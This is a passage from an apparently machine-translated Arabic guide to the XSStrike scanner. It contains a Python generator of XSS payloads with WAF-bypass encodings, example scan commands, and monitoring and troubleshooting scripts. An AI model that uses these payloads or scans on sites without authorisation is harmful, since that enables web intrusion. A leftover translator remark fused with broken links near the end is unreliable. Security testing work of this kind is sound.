            '\';alert(1);//',
            '";alert(1);//',
            '--></script><script>alert(1)</script><!--'
        ]
    
    def generate_dom_xss_payloads(self):
        """Generate DOM-based XSS payloads"""
        
        return [
            # Location-based
            '#<script>alert("XSS")</script>',
            '#<img src=x onerror=alert("XSS")>',
            '#javascript:alert("XSS")',
            
            # Document.write sinks
            '<script>document.write("<img src=x onerror=alert(1)>")</script>',
            '<script>document.write(unescape("%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"))</script>',
            
            # innerHTML sinks
            '<img src=x onerror=alert(1)>',
            '<svg onload=alert(1)>',
            '<iframe src=javascript:alert(1)>',
            
            # eval sinks
            'alert(1)',
            'confirm(1)',
            'prompt(1)',
            
            # setTimeout/setInterval sinks
            'alert(1)',
            'eval("alert(1)")',
            'Function("alert(1)")()',
            
            # Location sinks
            'javascript:alert(1)',
            'data:text/html,<script>alert(1)</script>',
            
            # postMessage sinks
            '<script>alert(1)</script>',
            '<img src=x onerror=alert(1)>'
        ]
    
    def apply_encoding(self, payload, encoding):
        """Apply various encoding techniques"""
        
        if encoding == 'url':
            return urllib.parse.quote(payload)
        
        elif encoding == 'double_url':
            return urllib.parse.quote(urllib.parse.quote(payload))
        
        elif encoding == 'html':
            return payload.replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;').replace("'", '&#x27;')
        
        elif encoding == 'js':
            return payload.replace('\\', '\\\\').replace('"', '\\"').replace("'", "\\'")
        
        elif encoding == 'base64':
            return base64.b64encode(payload.encode()).decode()
        
        elif encoding == 'hex':
            return ''.join([f'\\x{ord(c):02x}' for c in payload])
        
        elif encoding == 'unicode':
            return ''.join([f'\\u{ord(c):04x}' for c in payload])
        
        return payload
    
    def generate_comprehensive_payload_set(self):
        """Generate comprehensive set of all payload types"""
        
        all_payloads = []
        
        # Basic payloads
        all_payloads.extend(self.generate_basic_payloads())
        
        # WAF bypass payloads
        all_payloads.extend(self.generate_waf_bypass_payloads())
        
        # Context-specific payloads
        for context in self.contexts:
            all_payloads.extend(self.generate_context_specific_payloads(context))
        
        # Polyglot payloads
        all_payloads.extend(self.generate_polyglot_payloads())
        
        # DOM XSS payloads
        all_payloads.extend(self.generate_dom_xss_payloads())
        
        # Apply encodings to subset of payloads
        encoded_payloads = []
        for payload in all_payloads[:20]:  # Apply to first 20 payloads
            for encoding in self.encodings:
                encoded_payloads.append(self.apply_encoding(payload, encoding))
        
        all_payloads.extend(encoded_payloads)
        
        # Remove duplicates
        all_payloads = list(set(all_payloads))
        
        return all_payloads
    
    def save_payloads_for_xsstrike(self, payloads, filename):
        """Save payloads in format suitable for XSStrike"""
        
        with open(filename, 'w') as f:
            for payload in payloads:
                f.write(payload + '\n')
        
        print(f"Saved {len(payloads)} payloads to {filename}")
        print(f"Use with XSStrike: python3 xsstrike.py -u <target> --payloads {filename}")

# Usage example
if __name__ == "__main__":
    generator = XSSPayloadGenerator()
    
    # Generate comprehensive payload set
    payloads = generator.generate_comprehensive_payload_set()
    
    # Save for XSStrike
    generator.save_payloads_for_xsstrike(payloads, "xsstrike_custom_payloads.txt")
    
    print(f"Generated {len(payloads)} unique XSS payloads")
    
    # Generate context-specific payload files
    for context in generator.contexts:
        context_payloads = generator.generate_context_specific_payloads(context)
        generator.save_payloads_for_xsstrike(
            context_payloads, 
            f"xsstrike_{context}_payloads.txt"
        )

تحسين الأداء واستكشاف الأخطاء

ضبط الأداء

# Optimize XSStrike for different scenarios

# High-speed scanning (less thorough)
python3 xsstrike.py -u https://example.com \
    --threads 50 \
    --timeout 10 \
    --level 3 \
    --skip-dom

# Thorough scanning (high accuracy)
python3 xsstrike.py -u https://example.com \
    --crawl \
    --dom \
    --waf-bypass \
    --level 6 \
    --threads 10 \
    --timeout 60 \
    --delay 2

# Memory-efficient scanning
python3 xsstrike.py -u https://example.com \
    --threads 5 \
    --timeout 30 \
    --level 4 \
    --skip-crawl

# Network-optimized scanning
python3 xsstrike.py -u https://example.com \
    --threads 20 \
    --timeout 15 \
    --delay 1 \
    --proxy http://127.0.0.1:8080

# Resource monitoring script
#!/bin/bash
monitor_xsstrike_performance() {
    local target="$1"
    local output_file="xsstrike-performance-$(date +%s).log"
    
    echo "Starting performance monitoring for XSStrike scan"
    echo "Target: $target"
    echo "Log file: $output_file"
    
    # Start monitoring in background
    {
        echo "Timestamp,CPU%,Memory(MB),Threads,Network(KB/s)"
        while true; do
            if pgrep -f "xsstrike" > /dev/null; then
                local cpu=$(ps -p $(pgrep -f "xsstrike") -o %cpu --no-headers | awk '{sum+=$1} END {print sum}')
                local mem=$(ps -p $(pgrep -f "xsstrike") -o rss --no-headers | awk '{sum+=$1} END {print sum/1024}')
                local threads=$(ps -p $(pgrep -f "xsstrike") -o nlwp --no-headers)
                local net=$(cat /proc/net/dev | grep -E "(eth0|wlan0)" | awk '{print ($2+$10)/1024}')
                echo "$(date +%s),$cpu,$mem,$threads,$net"
            fi
            sleep 5
        done
    } > "$output_file" &
    
    local monitor_pid=$!
    
    # Run XSStrike scan
    python3 xsstrike.py -u "$target" \
        --crawl \
        --dom \
        --waf-bypass \
        --level 6 \
        --threads 20 \
        --timeout 30 \
        -v
    
    # Stop monitoring
    kill $monitor_pid 2>/dev/null
    
    echo "Performance monitoring completed: $output_file"
}

# Usage
monitor_xsstrike_performance "https://example.com"

استكشاف المشاكل الشائعة وحلها

# Troubleshooting script for XSStrike
troubleshoot_xsstrike() {
    echo "XSStrike Troubleshooting Guide"
    echo "============================="
    
    # Check Python version
    python_version=$(python3 --version 2>&1)
    echo "Python version: $python_version"
    
    if ! python3 -c "import sys; exit(0 if sys.version_info >= (3, 6) else 1)"; then
        echo "❌ Python 3.6+ required"
        echo "Solution: Update Python to version 3.6 or later"
        return 1
    fi
    
    echo "✅ Python version OK"
    
    # Check if XSStrike directory exists
    if [ ! -d "XSStrike" ]; then
        echo "❌ XSStrike directory not found"
        echo "Solution: Clone XSStrike repository"
        echo "git clone https://github.com/s0md3v/XSStrike.git"
        return 1
    fi
    
    echo "✅ XSStrike directory found"
    
    # Check dependencies
    echo "Checking Python dependencies..."
    
    dependencies=("requests" "lxml" "beautifulsoup4" "urllib3" "fuzzywuzzy")
    missing_deps=()
    
    for dep in "${dependencies[@]}"; do
        if ! python3 -c "import $dep" 2>/dev/null; then
            missing_deps+=("$dep")
        fi
    done
    
    if [ ${#missing_deps[@]} -gt 0 ]; then
        echo "❌ Missing dependencies: ${missing_deps[*]}"
        echo "Solution: Install missing dependencies"
        echo "pip3 install ${missing_deps[*]}"
        return 1
    fi
    
    echo "✅ All dependencies installed"
    
    # Check network connectivity
    if ! curl -s --connect-timeout 5 https://httpbin.org/get > /dev/null; then
        echo "❌ Network connectivity issues"
        echo "Solution: Check internet connection and proxy settings"
        return 1
    fi
    
    echo "✅ Network connectivity OK"
    
    # Test basic functionality
    echo "Testing basic XSStrike functionality..."
    cd XSStrike
    
    if timeout 30 python3 xsstrike.py -u https://httpbin.org/get --timeout 10 > /dev/null 2>&1; then
        echo "✅ Basic functionality test passed"
    else
        echo "❌ Basic functionality test failed"
        echo "Solution: Check XSStrike installation and permissions"
        cd ..
        return 1
    fi
    
    cd ..
    
    # Check for common configuration issues
    echo "Checking for common configuration issues..."
    
    # Check file permissions
    if [ ! -x "XSStrike/xsstrike.py" ]; then
        echo "⚠️  XSStrike script not executable"
        echo "Solution: chmod +x XSStrike/xsstrike.py"
    fi
    
    # Check for proxy issues
    if [ -n "$HTTP_PROXY" ] || [ -n "$HTTPS_PROXY" ]; then
        echo "⚠️  Proxy environment variables detected"
        echo "Note: Use --proxy option if needed"
    fi
    
    echo "Troubleshooting completed"
}

# Common error solutions
fix_common_xsstrike_errors() {
    echo "Common XSStrike Error Solutions"
    echo "==============================="
    
    echo "1. ImportError: No module named 'requests'"
    echo "   Solution: pip3 install requests"
    echo ""
    
    echo "2. ImportError: No module named 'lxml'"
    echo "   Solution: pip3 install lxml"
    echo "   Note: May require system packages on Linux:"
    echo "   sudo apt-get install libxml2-dev libxslt-dev"
    echo ""
    
    echo "3. ConnectionError or Timeout"
    echo "   Solution: Increase timeout with --timeout option"
    echo "   Example: python3 xsstrike.py -u <target> --timeout 60"
    echo ""
    
    echo "4. SSL Certificate errors"
    echo "   Solution: Use --verify-ssl false (not recommended for production)"
    echo ""
    
    echo "5. Too many requests / Rate limiting"
    echo "   Solution: Add delay between requests"
    echo "   Example: python3 xsstrike.py -u <target> --delay 3"
    echo ""
    
    echo "6. Memory issues with large sites"
    echo "   Solution: Reduce threads and enable crawl limits"
    echo "   Example: python3 xsstrike.py -u <target> --threads 5 --depth 2"
    echo ""
    
    echo "7. No vulnerabilities found (false negatives)"
    echo "   Solution: Increase payload level and enable all features"
    echo "   Example: python3 xsstrike.py -u <target> --level 6 --crawl --dom --waf-bypass"
}

# Run troubleshooting
troubleshoot_xsstrike
fix_common_xsstrike_errors

الموارد والتوثيق

الموارد الرسمية

The translation maintains the structure, markdown formatting, and keeps technical terms in English as requested.https://github.com/s0md3v/XSStrike/releases) - أحدث التحديثات والتغييراتhttps://github.com/s0md3v/XSStrike/issues) - تتبع المشكلات وتقارير الأخطاء

الموارد المجتمعية

أمثلة التكامل